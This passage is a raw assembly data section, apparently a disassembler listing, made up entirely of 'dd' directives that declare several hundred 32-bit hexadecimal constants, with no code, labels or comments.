		dd 0E8F65BB0h, 0E85C163Dh, 3B9F04B2h, 0F4CE6812h, 435B6CF6h
		dd 0FF4FED8Ah, 390ECF0Ch, 0A9315FADh, 0E324C51Eh, 50C8A043h
		dd 903EF268h, 0BDD6274Dh, 0D8597A46h, 0A63596Bh, 5D085C68h
		dd 105E9EA7h, 1BEC7E9h,	501E3BB8h, 956F314Ah, 528B875h
		dd 20C0082Bh, 7B3D9507h, 0F7E96DD0h, 52E6B550h,	4F7FA420h
		dd 10E1F85Bh, 0BA513B1Fh, 5D29E42Ah, 6A040EDFh,	50EA222Dh
		dd 0E90C0832h, 5E340541h, 267EDFE8h, 0F6757279h, 8B305725h
		dd 698E029Fh, 69A0599Fh, 3A901D66h, 8C52BF01h, 0D9F7596Ch
		dd 8AF2E47Ah, 407BE702h, 9907F1E9h, 817B58CFh, 8A67466Dh
		dd 0B78BEE55h, 7F09CFBCh, 91205D5Eh, 1331523h, 0AE925B50h
		dd 4D06361Fh, 7ABEE181h, 246B1012h, 1D02EADFh, 0DDB6D6E9h
		dd 688481CDh, 0A7E823C7h, 0A2C73C3h, 7756C3B5h,	0AEE90D3Bh
		dd 7F4976ACh, 30FE6F00h, 609F0280h, 1DFCE608h, 80477B4Ah
		dd 0BE2BE4CEh, 0BD27E933h, 62ADFC12h, 657571BBh, 846B169Eh
		dd 355EAF36h, 9A501E52h, 28B605DFh, 4180086Ch, 167A050Bh
		dd 52D1E932h, 96CBAE65h, 9A20C74Ch, 7342BE05h, 0AA08665Fh
		dd 41BF00ABh, 0C1713E6Ch, 0E602EF26h, 37A9400h,	5DFCE972h
		dd 8805A3F8h, 23041416h, 5DE499CAh, 7A708589h, 0EFCE4F60h
		dd 0D2482C32h, 87F55CFDh, 0BD4B826h, 39460558h,	2BF4F24Ah
		dd 58089D2Ah, 58D102ECh, 8F7F46C5h, 8AD0C6C4h, 0B6C3054Dh
		dd 0C22CC054h, 88800191h, 427D7358h, 10E3D137h,	72062237h
		dd 2F89980Ch, 62F6D7E8h, 0B3B63B8Dh, 4A35EC6Ah,	0C41F29C4h
		dd 323E9CC9h, 0EFD9104Dh, 0BC9CD6F9h, 83B92F8Eh, 0E94B2D7Fh
		dd 37613B9Fh, 78478F00h, 0C4795F41h, 58070460h,	5BF3AF31h
		dd 0A573F3C5h, 6A49F5C8h, 451D7B31h, 1320302Eh,	81F49367h
		dd 3A76F704h, 23805473h, 5AE05D61h, 3101E511h, 2D076A88h
		dd 0FBEEE80h, 39E74EF0h, 0CA75DB8h, 0F8778762h,	53FA28B0h
		dd 0DEEBDh, 0CB89E2F2h,	0EFA3E959h, 7044F782h, 935E067Bh
		dd 0B55F1CF0h, 6F820773h, 3203A163h, 0C65F0A09h, 8EE2C18h
		dd 8C010245h, 0A7F4FF63h, 34972917h, 0BA36E997h, 0FAEA055Dh
		dd 8055B42Bh, 0B0565CD5h, 0E8010D3Dh, 382F081Ch, 819F1EEFh
		dd 88F47A58h, 42009F4Ch, 5166D730h, 8D18835h, 1E9B16EEh
		dd 8CA5B40h, 7FD650FAh,	0EEF7F11Fh, 612CC2E9h, 757AA186h
		dd 63CCFA41h, 2B340EC5h, 0EDC033F7h, 6E273D97h,	0DE404CB0h
		dd 9EB01BBh, 206873EFh,	5F892341h, 2CE91DD8h, 689CB828h
		dd 9C3238DDh, 0E353E531h, 1BF9708h, 6F6BE8B9h, 47B0404Fh
		dd 57050B4Eh, 7EE9D121h
		dd 88B955EAh, 0D1DC0512h, 521517Eh, 0E0F65F0Fh,	315A6245h
		dd 2CDDACF7h, 0E0ACFD89h, 339EE581h, 0FC73D031h, 57E46C27h
		dd 0BC84FEE9h, 6852E03Ch, 0AD28351Bh, 0D334C944h, 98ABB6B4h
		dd 0BE4023CFh, 6FCC0F68h, 264B7ED0h, 0D70729h, 8F728E28h
		dd 0AC81507Dh, 0ECD67C54h, 4FFF17C9h, 0C1EF0078h, 0A7EECD87h
		dd 65763BFh, 967C979Ch,	3139B419h, 0A54A056h, 0EA4266Dh
		dd 0C81A02D8h, 0D1849CE8h, 0BA7AC5Dh, 7F1602F4h, 0E0970422h
		dd 963EBC67h, 29E995E3h, 27F44510h, 50F77601h, 0F3361F34h
		dd 83AA1C45h, 9EE8E908h, 0C4ECDD24h, 0B0B566Ch,	6277DE53h
		dd 38FD677Dh, 0BD540106h, 0F9A5AC53h, 0C8E2627Dh, 0C4F5046Ah
		dd 507BE0E6h, 4F59BFCh,	0E84FD6E4h, 0B6E09055h,	604AAE4Bh
		dd 12072510h, 508316E9h, 4D5B70BFh, 0B86E2629h,	0A066B5DCh
		dd 0D99D10AAh, 71CEEC8Ch, 0C895241h, 511854BEh,	5495F989h
		dd 2B255681h, 380D20D8h, 51643C8Fh, 91F9FC29h, 81341D3Ah
		dd 44082535h, 78A7EC48h, 32996AE1h, 0C15E6A82h,	967404E6h
		dd 0AC0EF680h, 4A89FBEBh, 3630FAF2h, 5C0DE1B8h,	55101034h
		dd 5C5A329Eh, 4132579h,	0B238ED33h, 841D9408h, 91A3FF17h
		dd 0AD4FCC48h, 96EFC80Dh, 5691ADEEh, 48804B2Ch,	4C0859F5h
		dd 0C2008C49h, 0E9637733h, 18B7D71Ch, 83F57D50h, 8BFAAC2Fh
		dd 0A5D50FD4h, 0CEAB3140h, 8C984B2Ch, 0BD90404Dh, 0D01840Bh
		dd 0E63ED209h, 0AA12173Eh, 0D02A120Ah, 0E9C529D8h, 1D0BA65Dh
		dd 654AAB68h, 9D0CFA59h, 0BC3DBF1h, 4E550595h, 405EB455h
		dd 0F54B5FEBh, 66E648ACh, 0EC553F40h, 0EEFA4BA5h, 20E84247h
		dd 19A8C7A5h, 77B1B805h, 0D0E1C330h, 358F6601h,	0E821660Fh
		dd 8CC9021h, 0EFC1C2Dh,	40F42C64h, 7F1215AEh, 19B2A690h
		dd 0F4A6F095h, 85F72CD1h, 0B8441534h, 0A307DE84h, 0B5F21A02h
		dd 3C707696h, 0DFBF3A19h, 7E30F1D8h, 0AF956B16h, 0F5456204h
		dd 27E5EEAh, 2944B532h,	83E0855h, 0C4567C27h, 952B8454h
		dd 348FEAAFh, 0DC2CF05Ah, 35313C4Eh, 36A5BCFBh,	0D689101h
		dd 0C1327851h, 42771146h, 2A297Fh, 3F7A68A2h, 4B01214Ch
		dd 2EC89BC0h, 835218CEh, 19E38CEBh, 43904F14h, 328C05F9h
		dd 67800D74h, 4F46ECBh,	0E94E4627h, 0AD8AA05Eh,	0B5F150BFh
		dd 22DE83B8h, 0BEE0AEB4h, 5B701B9Fh, 0ED93D07Fh, 8B6B54EAh
		dd 7BF8C022h, 2DF397CBh, 0DD638109h, 0E9160294h, 0EA232F19h
		dd 7118E1A9h, 955DC420h, 0EE8BC002h, 0B57377h, 0B90AA7C3h
		dd 0FB582972h, 9084156h, 0A4D64054h, 7702B05Ah,	73C62ABEh
		dd 18EF81C3h, 2F20F17Ah, 0F7324FC1h, 0E5B15E18h, 0C421663Bh
		dd 80A4B507h, 0E530E7CDh, 0BEDC095h, 707D6808h,	3B54D146h
		dd 0EDA030AAh, 258C43E1h, 0D01829C5h, 9F8823F4h, 0A92EE1DBh
		dd 0D7DC891Fh, 0A13C63A6h, 5A008958h, 0D91478ABh, 5EB5DE70h
		dd 208CF2C2h, 9AB65661h, 5714A4CFh, 0C913088Ah,	0B4F3FC61h
		dd 0F0961CA8h, 0B32C6C1Eh, 2618C47Eh, 4BCA010Dh, 5B96E759h
		dd 0E9F051E8h, 0F9976EF9h, 0FE263C04h, 57538904h, 953C167Fh
		dd 535206A2h, 7F90D0CCh, 14CDE62Eh, 256FEA94h, 40B107DCh
		dd 3BA42D10h, 1F2F77AEh, 937F2835h, 5CE2083Ah, 0DA20FF27h
		dd 4FB54B5Bh, 1223E6C0h, 17216A74h, 8280E9CAh, 26405F50h
		dd 0D8260A96h, 55025A6Fh, 0F53DAE20h, 23377AC8h, 0E4FDC390h
		dd 4D071C66h, 78BAE92Fh, 94475709h, 80653A5h, 5025D2DCh
		dd 90A908Eh, 4EAA197Ah,	0F269A400h, 3109C8BCh, 0AF35E9EAh
		dd 0B9CAA0D6h, 0EC3E7E6Fh, 11D6C0C2h, 7675E91Bh, 0DE960FBAh
		dd 27022924h, 5F379239h, 0F60C3B78h, 0C553C57h,	5191172Bh
		dd 0D829C49Dh, 0C54BE964h, 5E5F8C00h, 97367968h, 3A014A53h
		dd 0EFD13598h, 35F8B38h, 6B30740h, 93BDC85Ah, 0E4C4E90Bh
		dd 2D0122DFh, 0C8B2C258h, 9ACA3100h, 6AA7BF2Ch,	50163899h
		dd 80586B62h, 0AD0620D4h, 0E9411722h, 0FE1B532Ah, 0A3102D2Bh
		dd 16533B6Ch, 37616BB4h, 0F175DE93h, 16CC5F60h,	0FE1A6E69h
		dd 23844E01h, 1A806CB2h, 934DDC7Bh, 439602E9h, 1731BD01h
		dd 826F4861h, 7A78DD9Fh, 0AF0F6617h, 0D49E21AFh, 82680099h
		dd 65BF922Ah, 0E929BF57h, 0D29879B3h, 69E9524Fh, 0B8681A98h
		dd 0CEA64C5Fh, 83410E31h, 2BA56BC7h, 0D35630h, 486DDA10h
		dd 460DD8F7h, 26806E02h, 0FDAFB3E9h, 0C201DD66h, 53E52AAAh
		dd 8921F201h, 98FF0804h, 0D554FE90h, 360FB79Eh,	4C3035B6h
		dd 8222845Bh, 0C24FC3D5h, 96E977D6h, 0E912C32Ch, 37AB399Eh
		dd 1C5FE291h, 51C4F876h, 26E05380h, 0B56E7CD0h,	0E9612BD9h
		dd 0FD24CF33h, 5FCEEED1h, 47CE5DF2h, 0D5E442E3h, 315E20F1h
		dd 570559C8h, 41033368h, 5E8AA4E0h, 40ADDDA6h, 0B551404Ch
		dd 0E1E9E00Bh, 214EC6ABh, 7F6B105Eh, 0BA946190h, 45A07C9Dh
		dd 70D5B951h, 71D9D05Ch, 28305281h, 0D26131Fh, 0E9FE5359h
		dd 22101EDEh, 98188F26h, 2778B6F3h, 14FDF388h, 76E92D4Dh
		dd 61BB0607h, 612DA978h, 7D70E81Ah, 48C17E3Bh, 0D3F300C8h
		dd 1D63CB9h, 4DE917DDh,	738B975Dh, 0F4BBE69h, 416396B0h
		dd 20B93E19h, 9987710h,	7D629168h, 0B48B0A14h, 9996AEFBh
		dd 0D49B0E2Fh, 0F8A54F20h, 4CE0E632h, 226304E6h, 5CC62139h
		dd 4DF200A8h, 5178AE48h, 0D35A34E9h, 7D4E8747h,	40891822h
		dd 0B2E512B1h, 2F5D58F2h, 0AF1C4885h, 32506C33h, 59931044h
		dd 9C3D5B77h, 0BFCB1D27h, 61C34B70h, 38D40B1Ch,	2C8BC557h
		dd 850E9CEBh, 0E88FC850h, 3A45975Bh, 3784296Fh,	0BFF0B285h
		dd 335B1FE3h, 0BEE946F3h, 0B902561Fh, 426E44EDh, 0D67A4056h
		dd 139E0048h, 2D49B2BEh, 0A2EE929h, 0E0C44236h,	2BE0EE0h
		dd 0D5C449F7h, 8FD1F331h, 0C6E0349h, 592C26DFh,	13450206h
		dd 0E07D34FBh, 0B75A5151h, 7072B95Eh, 95562078h, 97B6813h
		dd 5D54F660h, 0B20E5A2Ah, 45E8D6D0h, 29A5E9E0h,	2D8A9B96h
		dd 960852ADh, 108225A0h, 0A3415729h, 7335F568h,	0D42A63AFh
		dd 0EA124FA2h, 0AF2B4172h, 2C5352BDh, 0CB264EC7h, 0E9560CDDh
		dd 0C03E7E25h, 0F603E601h, 4EE80D6h, 787806BBh,	53789FDEh
		dd 0DA88B2A0h, 0F2325B7Eh, 0D58B06C7h, 0EF4394D1h, 29D51E90h
		dd 0EAB509F3h, 780794Bh, 4AB54E23h, 46080AAEh, 5A25AB11h
		dd 6E0113C9h, 7EB1FA28h, 0A2F100B6h, 87CB252h, 0F6735AD1h
		dd 7FC9FE3Dh, 29E9D509h, 691E7624h, 0F6BDE8F8h,	3BE07976h
		dd 632DD800h, 12541B58h, 0BC250D68h, 189EC111h,	4C6F3292h
		dd 89119F90h, 28BE285Ah, 0D20931C8h, 7D1967E9h,	2BF1A118h
		dd 5B110E12h, 5AD58CEBh, 756262BDh, 0F7C9F271h,	2C442441h
		dd 39FE5E10h, 30F87AC2h, 0A3656612h, 4D079B1Ch,	0F63BD14Ah
		dd 1439F55Ah, 0F88EE8E8h, 693A3DD6h, 0BD22D1Ah,	0E700E85Dh
		dd 0E5C08027h, 0B450060Fh, 0DE647F4Dh, 961457A7h, 0DC4B07B9h
		dd 2B4411Ah, 0BE0B60B1h, 0F50DB56Bh, 3BFE4809h,	67FDD964h
		dd 5558C50Ah, 91EF45B0h, 206EB840h, 0BF046CDCh,	94A34A6Ah
		dd 0F55281EEh, 0D2002D96h, 90B267B4h, 66D504BCh, 0FFEF305Ah
		dd 2B9F8D4Bh, 0D0BCF6E3h, 0DE4EC3E9h, 46C50E34h, 6505EF53h
		dd 57B7F81Ch, 8930503Eh, 2AE1810Fh, 52B6551Eh, 1769C4CDh
		dd 7A38EE82h, 0A585719Bh, 850711F3h, 0A1CFF95Eh, 5701F738h
		dd 68A23B54h, 6178BAC0h, 25901E99h, 9990C34Bh, 4E53276Dh
		dd 6B4EA049h, 1CD0F148h
		dd 9506D7F6h, 0B1A4638h, 6D48773h, 30CFBCC3h, 6809484Eh
		dd 16E589Fh, 6A22637h, 807D7AE9h, 1674C1CDh, 0ED294D42h
		dd 802F5E3h, 4679E568h,	854B064h, 4FF76644h, 0E4B97709h
		dd 51D3972Ch, 0C06DE984h, 72C2FE07h, 98D5E252h,	9D55CCA1h
		dd 561FB5E8h, 636E5381h, 28E096F5h, 0CD38817Ch,	34E79742h
		dd 0A6E5101h, 0EFF1713Dh, 0C28E6D8h, 1CE2E930h,	0FA09F3D5h
		dd 756D9147h, 6E3C39E8h, 0C5D3633h, 38AAA1FFh, 34C5E200h
		dd 511F0A5Bh, 0C2DCF7C0h, 0B589499Ch, 5794D15Ch, 9FAD209Ah
		dd 84BA6DF4h, 2961629Ch, 56A1D880h, 1303B5Bh, 8412948h
		dd 58F1DEFDh, 0F981066Ch, 0C2423F68h, 2085ECFDh, 88619410h
		dd 74F68032h, 0C3D9FF35h, 60C7AE30h, 1DE3E54Fh,	7E605933h
		dd 0FCBE76C6h, 0DD892E64h, 447B1395h, 0E1FD8755h, 57DAD357h
		dd 9DB61EE8h, 1C002EB0h, 345AF020h, 595E6866h, 679CEC74h
		dd 0E480B7E0h, 0D475F6E2h, 30FBEC00h, 410458E7h, 2CF83A28h
		dd 0B1FEE90Dh, 27167B70h, 20691397h, 7F591396h,	0C5299533h
		dd 0E91BDBFEh, 0A3285E5Ch, 7DA4D214h, 5FDE4003h, 0BF3DF09Dh
		dd 545A0474h, 936AC397h, 0DFF69212h, 5F04941Ah,	41DE407h
		dd 0C027C6F7h, 94BD5B4Eh, 5C685382h, 9CF0F5CCh,	638D5557h
		dd 0BAD829E3h, 587E5839h, 0F10125Bh, 0B1124AB2h, 0AC28B081h
		dd 24DF2102h, 0DB540196h, 0AEBEC305h, 0B83009Fh, 103A17Dh
		dd 4175F248h, 0C567808h, 0B1D6895Eh, 0E7CA2CE9h, 350C7CEh
		dd 0D70259CFh, 5CE95166h, 59AA778Bh, 4F4B1EEEh,	26A474A2h
		dd 0C678EC7Fh, 9DD546E0h, 0BC2C257Bh, 0E8026728h, 19AB10Eh
		dd 0A7A361D9h, 0D8B92E81h, 3C410F4Dh, 0D2F7189Eh, 165057C8h
		dd 0A28928C5h, 5BFDDD5h, 5ACD4BB0h, 0C051F5BBh,	0B598FC76h
		dd 0B7C6DC32h, 300854F9h, 0F1C8F337h, 0C93EC73Eh, 9CB1674h
		dd 5D7873A2h, 522C1C4Ah, 84203D82h, 412072B0h, 0FB609D51h
		dd 55C093ADh, 4967CCEAh, 0C7B8C175h, 3FCABAB1h,	8201FE2h
		dd 4AFB0401h, 3B5DE975h, 0C337E06h, 0F0CD471Eh,	0F61CA94Dh
		dd 59675ABCh, 302CF4E9h, 0D0EBD884h, 0CCB8B551h, 5F943827h
		dd 96DF049Ah, 0AF681255h, 6467AF31h, 48B123E0h,	6BB30BBEh
		dd 400541Eh, 402547B2h,	0F8012890h, 0E999C8CAh,	3C3EC9A3h
		dd 224142EEh, 70B28A41h, 9D9D75E4h, 0D92F07E7h,	0E76966DBh
		dd 32C0F8A0h, 813EF506h, 4A0DBCEDh, 3BD8BF01h, 0E9D2419Eh
		dd 7188446Fh, 0C7B0E934h, 0EF80240Eh, 83C762EEh, 4365E204h
		dd 135BA335h, 0C01DE90Ah, 0B06BACFh, 0F47DF125h, 0E05845E8h
		dd 720BEAECh, 5101351Bh, 0C10A2098h, 8344A723h,	9171202Bh
		dd 0E5B250C0h, 0F2DEEA80h, 74137DB7h, 20F8A492h, 8748A84Bh
		dd 762288Bh, 2EB5AD6h, 8E1AB76Dh, 9BA500FDh, 0B7AE622Bh
		dd 0C3E67370h, 9BEC682Ah, 0C3DE917h, 99EEAB8h, 7FE4D2A0h
		dd 635E5379h, 74EB5740h, 2640194Dh, 0AD4EDF68h,	0BB6438F5h
		dd 0A70D04BAh, 0C0D3F743h, 58F2451Fh, 0BEE9BC0Ch, 92D5EA1h
		dd 598704Dh, 7745E8Eh, 7685105h, 617E339h, 62D41FFDh, 97EB2EFAh
		dd 4BFC4195h, 0DDB8F034h, 0F84ACB76h, 0C1002F8h, 4DFD4F19h
		dd 5810DA10h, 2ABC131Ch, 235851CAh, 0DDC88617h,	2FC9ED64h
		dd 0CF816F40h, 4CD3776Ah, 0B7356860h, 38F2BE18h, 0E3FC247Bh
		dd 87C78E1Bh, 50ADF760h, 0C016FAB4h, 610F03ECh,	0A48BFD3Eh
		dd 245F0C08h, 0FA2825D1h, 0AD139CD1h, 8F6861EFh, 0A5237C08h
		dd 9221CBFEh, 0C46AD9AEh, 254F1F75h, 8418DA9h, 9228B27Fh
		dd 1E9A86BDh, 7F04FC56h, 4CD45C54h, 7A3FC780h, 0C7315A0Bh
		dd 66C4697Bh, 4CA94320h, 0C02DF350h, 32946F30h,	92D0F183h
		dd 0F5C5A192h, 0B9E1446Bh, 59614A77h, 47299C2Ah, 0DF0D7304h
		dd 7507813Fh, 435CE84Ch, 74AB6B8h, 191E9CA2h, 0C0169372h
		dd 3E60EB37h, 7465BF2Dh, 0E84617C4h, 45F48DBh, 235837ACh
		dd 1364A8AEh, 2E22ABB9h, 3D405451h, 20DD45A5h, 26D97EF9h
		dd 0F7292DEEh, 0D6042278h, 21040C4Fh, 0DF05E903h, 51534412h
		dd 169FA0E8h, 2EE8E985h, 7C3A8902h, 23EC2BFBh, 0D920FFE4h
		dd 0E6D0F791h, 6E100C1h, 3F5CF181h, 60C5656Bh, 0CFAE5A35h
		dd 69680B0Fh, 4D28B165h, 0B713317Ah, 2523E8FEh,	6BE90AA8h
		dd 6F79064Bh, 5D2F1501h, 0FDF2772Bh, 5E02D642h,	6DD04021h
		dd 2B5A81CAh, 0CD9F4CF2h, 2B1E7BF7h, 3E2A9D1h, 2E898F60h
		dd 13F2AB79h, 0C3A79090h, 28242D78h, 4416FB5Dh,	3318AFA3h
		dd 56F2270Ah, 0DA288913h, 0F3E1A084h, 0A8E1C530h, 918E98C6h
		dd 2E39022Ah, 0A3604A6Eh, 0F4627967h, 8E05E130h, 862BC0B6h
		dd 6961E91Dh, 27FEF77h,	0D4C88FCCh, 0A25D52DAh,	342AC38h
		dd 81915E66h, 2D837EEFh, 5529CA58h, 46A639F4h, 0B7BF9A70h
		dd 2A65B554h, 5B89925Fh, 8232F94Fh, 42823A9Eh, 64630BF6h
		dd 0BD7D0E29h, 31870BB5h, 135D74EFh, 4846304h, 914036F7h
		dd 1D91496Dh, 0D27DF210h, 0ED13DFFCh, 2A8EAFE3h, 7C99F84Eh
		dd 411C3A44h, 0EBE28130h, 4B6166CEh, 902DD72Fh,	12034A18h
		dd 0CCF06825h, 9DB6551Bh, 8B308D43h, 4FB2AF21h,	9ADD0975h
		dd 6DF25D3Ah, 0E88DB029h, 1922525h, 5FA88BAEh, 0AE575047h
		dd 0FD89C6A0h, 0F2942FE9h, 0E7382B48h, 0F4BCB027h, 5550014Fh
		dd 640507E9h, 2D3BE831h, 752EBE0Ah, 5F3F4D90h, 0EF48F6Bh
		dd 0C5D6BD6h, 923D3470h, 6FCD968Fh, 0FF62D564h,	0D730B4C9h
		dd 8D1A00F6h, 0F7F18761h, 0B9E8E9DEh, 8041F9BFh, 54BE281h
		dd 7FFE73AFh, 2D35E64Fh, 0BA2034A1h, 52B158FDh,	90BEB5h
		dd 0F0EEB652h, 0B9F2A865h, 4F5F145Eh, 3507B002h, 6057FC3Ch
		dd 1B5A99E1h, 830C82E3h, 7777F453h, 57A0E4EBh, 7C4E9DFFh
		dd 3A143FE8h, 1D81D75Bh, 8338AD33h, 0FD5F680Ch,	59FF246Ah
		dd 91EA173Ah, 0EC22070Ah, 0E0BF8902h, 34E95677h, 0EA20AA66h
		dd 0C0D331B2h, 705E6C3Bh, 6CAC064Eh, 282C0D39h,	0A82D00F1h
		dd 51B3171h, 1004A409h,	34E80075h, 98AA61C3h, 0CD8B95A7h
		dd 56C8B2F7h, 5259C007h, 0B0A9D1E9h, 94336901h,	0FA68B326h
		dd 0BCCDD908h, 17710E90h, 304C39E9h, 4052DE47h,	52B828C0h
		dd 0CC5012B0h, 0E96DFF5h, 9EE1C844h, 0C08C48F0h, 5E8D10Ah
		dd 0D5001049h, 63D03503h, 25E93390h, 83728E69h,	9094398h
		dd 0D59C6FB1h, 0B2C1F1A4h, 0F93A13B9h, 0FB8125BEh, 680B28B6h
		dd 0EBE61F73h, 0B25A3122h, 19B70448h, 0FC583A01h, 16B350DDh
		dd 75A94E16h, 15019D56h, 4A995B11h, 6721032Eh, 0C2B379FDh
		dd 34F71C80h, 0BAE9AAC2h, 0C98FD8Ah, 0B8B992B2h, 0FB250E26h
		dd 115B2F85h, 2FF62988h, 0E957E5C9h, 0B955FE21h, 0FB305D3Dh
		dd 45E5FFE8h, 6132D651h, 0B628C0CEh, 2B598163h,	3F1D4B80h
		dd 287F5BD2h, 0B80BBDE7h, 80E0F0EFh, 471DB1ACh,	58409F44h
		dd 0B1D75EE9h, 0A95F38BBh, 6043A3A9h, 5541A3D4h, 0C85FA27Fh
		dd 0AD5F9383h, 71E9F00Dh, 0AF12D286h, 7F6C98C0h, 480158A6h
		dd 0D881A720h, 3885953Ch, 0A8535AB7h, 0CAF04C12h, 0FE6F13B6h
		dd 421B13C6h, 1668ADF8h, 80AFC6D7h, 207456EBh, 30010417h
		dd 4A1FA20Bh, 0A254F8E9h, 0EEB153BEh, 0BA4A3CDEh, 0B260D59Dh
		dd 720D639Eh, 41B8F581h, 0E9712E07h, 0E4BCAD5Bh, 0B28E66C4h
		dd 0BB4B51h, 0E676EAFh,	8EB75839h, 5FDF8044h, 83B1F3E9h
		dd 780369DFh, 0C00072Fh, 8DD536Ah, 952B2068h, 9518A8FBh
		dd 4CD12160h
		dd 4C1C025Ah, 1C7727C9h, 0E9F69D52h, 9FA062B4h,	51E109B8h
		dd 0BA7D6443h, 90FA5F87h, 0DF1C332Fh, 0B70F7630h, 3F75C850h
		dd 0E2B9FBC0h, 0BD458A28h, 0FABF50FCh, 946814Eh, 7E71433h
		dd 634995E6h, 81C6F57Dh, 3FA3FD22h, 0B05AEFE8h,	56005F2Bh
		dd 0FB054E83h, 3E299615h, 0E1F0D6E9h, 0AAD41679h, 0E55D310h
		dd 57D58851h, 0F32A5F04h, 73B302F8h, 7E69CC25h,	61E502ADh
		dd 0AC404C29h, 74177B80h, 0BB890Ch, 3915C7F5h, 0E9137182h
		dd 3232C456h, 841FE05Dh, 49BEBE51h, 9896CE77h, 5D0940C4h
		dd 50D9F724h, 207B3900h, 12EAC12Eh, 8289E908h, 76C00971h
		dd 569FEF9Fh, 8192BFD0h, 6AD5FEB7h, 0C77882h, 0D12D665Fh
		dd 0E4943474h, 2CF3483Ch, 0C2CF1707h, 0E36C28B9h, 471FF9E8h
		dd 3E3226A4h, 3CC2E1DAh, 652C5EFDh, 68590B54h, 49D974BFh
		dd 98022BA4h, 0E8153B13h, 1733EF4Dh, 8378318Ah,	62B03503h
		dd 0C3F07293h, 4EFAE916h, 25F2E5BCh, 655F016Ah,	0A03B62B5h
		dd 0A2E7600Fh, 0F618B15Ah, 3CB21Ah, 9419A8B9h, 1353BF6Eh
		dd 9CBE6234h, 0CA6EBC9h, 61D849F7h, 4EFBFC20h, 7439BF5Bh
		dd 0A5899369h, 0DB550CE2h, 0C8742E3h, 8B51DB5Fh, 41FBCC11h
		dd 282DD4A7h, 55DD408Bh, 95D590Eh, 151F97C8h, 0BE815F78h
		dd 0D7DE11B7h, 0B63F3258h, 0F178103Ch, 40557D50h, 0AD0FBDA7h
		dd 3D674707h, 0DF43D680h, 18EA89D1h, 251A64E9h,	52262BBEh
		dd 0D510A34Fh, 4BF1F84Bh, 869E5A9h, 0B8147CA2h,	77179F44h
		dd 0B067A75h, 0C2CD5FD4h, 62BB120Ch, 0A3704E00h, 1A78B572h
		dd 59B3C427h, 0B7711EBAh, 9C52E34Bh, 0B4DE3CBAh, 0EE485725h
		dd 936B92E9h, 69856091h, 4DDF2521h, 70B1B42h, 0C025B2DCh
		dd 62AFE9B8h, 685C5AA9h, 55994442h, 2FBDE456h, 0C1D76995h
		dd 89C41F2Dh, 86D8BEFEh, 9E6E12C6h, 3915E06Fh, 9641E02h
		dd 0B1FCFE9h, 0B6F2D940h, 0F57D44E2h, 92CB682Fh, 851960D5h
		dd 2BFB3034h, 6508F60Ch, 0E9B44C61h, 0F33B95A2h, 3CFA936Dh
		dd 0C6699A81h, 10470C27h, 1326BA98h, 0FC373B68h, 74E7C44Ch
		dd 7D09CD43h, 93D95D8Bh, 0F9257E9Dh, 27824195h,	0BA5C058Fh
		dd 24868EB7h, 57EC2B12h, 5A7E8764h, 506D9BC0h, 0E03FF38h
		dd 407579B9h, 73CFD9F0h, 4F71DE58h, 0E90B4BFDh,	882BA2A8h
		dd 564B7078h, 8926CC1Dh, 76231A00h, 16EABE51h, 0F9AE89DCh
		dd 5EF21231h, 8A988FADh, 5B80ED32h, 0FBC25E31h,	0F9506823h
		dd 276A2751h, 5768C4F1h, 0AD4E8EA8h, 9D0F6EFh, 1CC47147h
		dd 0E92E3AD8h, 0D4A7328Dh, 12922C77h, 7495ECC7h, 8BFE013Bh
		dd 49C926E9h, 2CE34D25h, 283251A1h, 376E4E95h, 98C289FDh
		dd 6246F9FFh, 0D30C86A2h, 2BD100B8h, 44353B72h,	0DE0E17Bh
		dd 0AD16FA0Fh, 581A4070h, 519CCh, 2E531C68h, 0C62B492Dh
		dd 0C5019016h, 0DACB2A0Bh, 5EF316FEh, 1E61FA50h, 0CA7EAFABh
		dd 0F8F9131Ah, 541C28AFh, 120B8657h, 38BE23D5h,	7CB05E9Ch
		dd 83DB659Dh, 68D55508h, 4FCD5438h, 6C0B28EEh, 2D4DD657h
		dd 30DE4076h, 0DED0E4C2h, 525ED308h, 682D428Ah,	0B0570B72h
		dd 4C312869h, 0F72E2251h, 5B6100Fh, 0FA08E6B7h,	0C26E06AEh
		dd 681C16B5h, 0D7277158h, 95EA403Bh, 0EEC09F7Eh, 0B058345Ah
		dd 0FF571388h, 4394DD04h, 9F5ACD0Ah, 0D2234304h, 63D0AA16h
		dd 79B55101h, 4ED244Bh,	0C09E1224h, 44252D99h, 846E7D3Ah
		dd 38F93A8Dh, 5ABCC281h, 0E42F1AEDh, 0A51743B9h, 4C08E582h
		dd 0C2516454h, 855D9206h, 0E3EE5948h, 9308131Ah, 458F88EAh
		dd 6C814037h, 5BE903BCh, 0AAC28597h, 587CB99Dh,	9F6680A4h
		dd 6026C95Ch, 6A03A447h, 1D257A74h, 5280EA0Ch, 0E99B02E2h
		dd 0DBF5BA75h, 0D1F60021h, 8006E1C0h, 852DC139h, 0C820EEE9h
		dd 4D318B2h, 0ED99A80h,	282FC449h, 4B4C87A9h, 2DF4BD5Bh
		dd 2DE85A5Fh, 5F49D9AEh, 6DFC3A6Bh, 0E95FCD75h,	255C259h
		dd 0D1B2B7FDh, 4652825Eh, 85F50AF0h, 0B0A19109h, 3AE0327Ah
		dd 0C38986D4h, 49687058h, 883F6759h, 49BE2660h,	167C4164h
		dd 0D6FF969Dh, 980D437h, 1CDD5F16h, 7AE9133Dh, 2E8EAB8Eh
		dd 9142F47Fh, 21B8B164h, 0A4DD2F1Bh, 979C8FECh,	2A4F747Eh
		dd 0CC3C1442h, 0B17BA99Ch, 6D132A23h, 44B149E0h, 0F69FD141h
		dd 1DDC5A82h, 6609024Bh, 0E9FEC053h, 4AE4EA28h,	5B88E221h
		dd 660617D1h, 80E6D000h, 99A6CE39h, 8B0657EEh, 179AEDE4h
		dd 0CC8960E9h, 644B6831h, 0B23BFCF3h, 0F165AECEh, 830F25B8h
		dd 5900EA20h, 8004E2C0h, 160630EFh, 50096743h, 1B70A6B4h
		dd 65299B27h, 0AEE0088h, 0E95ABE1Fh, 11A0F22Bh,	401E9C3Dh
		dd 0F000FE2Dh, 0BD69D1E9h, 31FB5F26h, 8F96E9C1h, 84C8E82Fh
		dd 0CCFE555Eh, 0B0B77B75h, 9C3D8E70h, 6A5B51E8h, 7650E000h
		dd 1B9452Bh, 32C36235h,	3FC20AE9h, 446A1689h, 919BB8F1h
		dd 30D4F3E2h, 0EBEC01A1h, 96D6EF3Fh, 98853153h,	4EDE1EF4h
		dd 602AD187h, 0EA112480h, 9A6912FAh, 59E5E1Ah, 34158868h
		dd 0D07880DAh, 4D4AD374h, 413981ECh, 0DB68A7A5h, 5217F1F6h
		dd 8DD11B01h, 705D72Eh,	0B9E1765h, 89EF6557h, 0D6C482EBh
